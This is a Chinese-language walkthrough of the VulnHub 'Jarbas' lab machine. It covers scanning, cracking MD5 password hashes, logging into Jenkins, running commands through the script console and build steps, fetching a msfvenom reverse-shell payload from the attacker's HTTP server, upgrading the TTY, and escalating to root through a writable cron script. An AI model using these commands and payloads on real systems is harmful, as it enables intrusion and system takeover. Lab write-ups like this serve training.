靶机地址:https://www.vulnhub.com/entry/jarbas-1,232/
主机发现
sudo netdiscover -i eth 0 -r 192.168.217.0/24
namp快速扫描,将端口信息保存到txt中
sudo nmap -n -v -sS -p- 192.168.217.132 --min-rate=10000 --max-retries=0 -oN allports.txt -Pn
对txt文件中的端口进行默认扫描
nmap -n -v -sC -sV -p $(cat allports.txt | grep ^[0-9] |cut -d / -f1 | tr '\n' ',' | sed s/,$//) 192.168.217.132 -oN nmap.txt -Pn
通过feroxbuster扫描目录
sudo feroxbuster -w /usr/share/wordlists/dirb/big.txt -u http://192.168.217.132/
发现没有什么可用目录,那我们根据对页面的观察和之前扫描出的,指定一下后缀-x html
,这里就抓到了access.html
进入http://192.168.217.132/access.html
,显示
可以用hash-identifier识别一下,其实可以看出来应该是md5,找网站解密一下
tiago:5978a63b4654c73c60fa24f836386d87 -> tiago:italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5 -> trindade:marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98 -> eder:vipsu
进入http://192.168.217.132:8080/
,是一个jenkins登陆界面
通过eder:vipsu
成功登陆到jenkins管理界面
进入 系统管理->脚本命令行,执行whoami
尝试反弹shell
看有没有python环境,执行which python
msfvenom -p python/meterpreter/reverse_tcp lhost=192.169.217.129 lport=2233 -f raw > shell.py
python3 -m http.server
msf开启监听
Jenkins的脚本命令行中执行命令,下载该py文件
println "wget http://192.168.217.129:8000/shell.py".execute().text
然后运行该py文件
这里没有接收到反弹的shell,失败
尝试另一处
点击“新建任务”,这里我们创建一个任务test
点击“构建”,在“构建”里,可以增加构建步骤,这里我们选择“Execute shell”
保存后,点击立即构建(Build Now)
kali这边利用msf接收到反弹的shell
或者nc连接
我们需要构造一个完全交互的TTY
第一步:使用Python生成功能更好的bash shell,但仍然不能使用tab自动补全或方向键。
python -c 'import pty; pty.spawn("/bin/bash")'
第二步:使我们能够访问术语命令,如clear。
export TERM=xterm
挂起shell
ctrl+z
退回我们自己的终端
stty raw -echo; fg
关闭了我们自己的终端回显,使我们能够访问制表符自动补全、方向键和Ctrl + C来终止进程
stty rows 38 columns 116
查看/etc/passwd
,能够正常交互的有root、eder
查看shadow文件显示权限不够
查看计划任务,cat /etc/crontab
(不同Linux的计划任务目录不同)
以root身份去执行一个脚本文件,尝试能否用它来提权
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
查看该文件内容,一个删除指令
这里我们可以vim
进去修改,也可以使用echo/tee
等命令将内容写进去
我们在kali里使用nc接收到反弹的shell
最后拿到flag(也可以通过python等构造一个完全交互式的TTY)